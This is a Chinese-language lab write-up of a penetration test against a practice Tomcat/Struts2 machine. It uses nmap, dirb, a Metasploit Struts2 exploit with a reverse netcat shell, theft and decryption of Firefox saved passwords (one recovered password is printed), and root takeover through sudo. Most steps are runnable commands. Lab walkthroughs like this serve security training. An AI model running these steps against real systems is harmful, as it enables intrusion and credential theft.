Apacbe Tomcat 9.0.40靶机渗透测试

先对目标靶机的网段进行扫描，用nmap命令

nmap -sS 10.9.63.0/24

发现目标IP为10.9.63.158（每个人扫描的ip在不同网段都不一样，根据自身情况进行甄别）看看都开启了哪些端口，发现有8080端口开放，打开网页输入ip加上端口号8080进行查看

http://10.9.63.121:8080/

发现是Apache Tomcat安装网站，F12检查一下，源码也看一下，发现没有什么有用的信息
用dirb对目录信息扫描

dirb http://10.9.63.121:8080/

试着去访问一下网站目录

发现是用的Apache Tomcat Servlet/JSP container的容器，百度搜索一下用的什么web框架，发现是struts2
打开kali进入msf

msfconsole

搜索一下struts2框架有哪些漏洞

search struts2

我们利用第四个进行攻击

use 4

查看一下都需要哪些配置

show options

配置一下攻击载核

set payload cmd/unix/reverse_netcat

配置一下RHOSTS

rhosts 10.9.63.121（ip是目标靶机ip）

配置一下lport

set lport 9999

运行

run

发现已经有一条了，用sessions查看一下

sessions

看到有一条ID为1的进程，用sessions 1进入

sessions 1

发现已经进入了，id查看一下，发现是普通用户

id

输入python3 -c “import pty;pty.spawn(‘/bin/bash’)”，进入交互模式

python3 -c "import pty;pty.spawn('/bin/bash')"

进入到家目录看看有哪些东西

发现有一个用户minhtuan，cd进去看看有哪些文件（隐藏文件也要看）

ls -alh

通过之前查询资料知道火狐浏览器的密码文件存放在~/.mozilla/firefox/fvbljmev.default-release这个路径（key4.db、logins.json)，根据路径进入到该目录下

发现该目录文件夹中确实有这两个文件，把这两个文件拷贝到kali里，开启远程服务（端口号只要是不重复就行）

python3 -m http.server 7272

再开启一个终端，用wget的方式下载那两个文件

根据之前搜集的信息找到火狐python脚本，把脚本文件放到kali中，和刚才下载的两个文件放到同一个目录中

第一个文件是火狐的py脚本文件，第二个和第三个是咱们从靶机下载的密钥脚本文件，第四个是安装包的环境
安装一下pip3，需要一点时间

pip3 install -r requirements.txt

使用火狐脚本

python3 huohupj.py

发现破解了用户名为：minhtuan，密码：skysayohyeah
最开始扫描的时候发现开起了22端口和8080端口，我们可以用ssh远程登录进入到靶机

minhtuan@10.9.63.121

查看一下id，发现是普通用户，sudo -l看一下有哪些管理员权限，发现是三个ALL，相当于管理员权限

我们更改一下root管理员账号密码，用sudu，输入新密码

sudo passwd root

用su命令登录root管理员账号，密码为刚刚更改的

su root

进入root管理员用户查看id，发现uid为0，已经是管理员权限，提权成功啦！！！
我们cat一下root下的root.txt文件，goodjob you！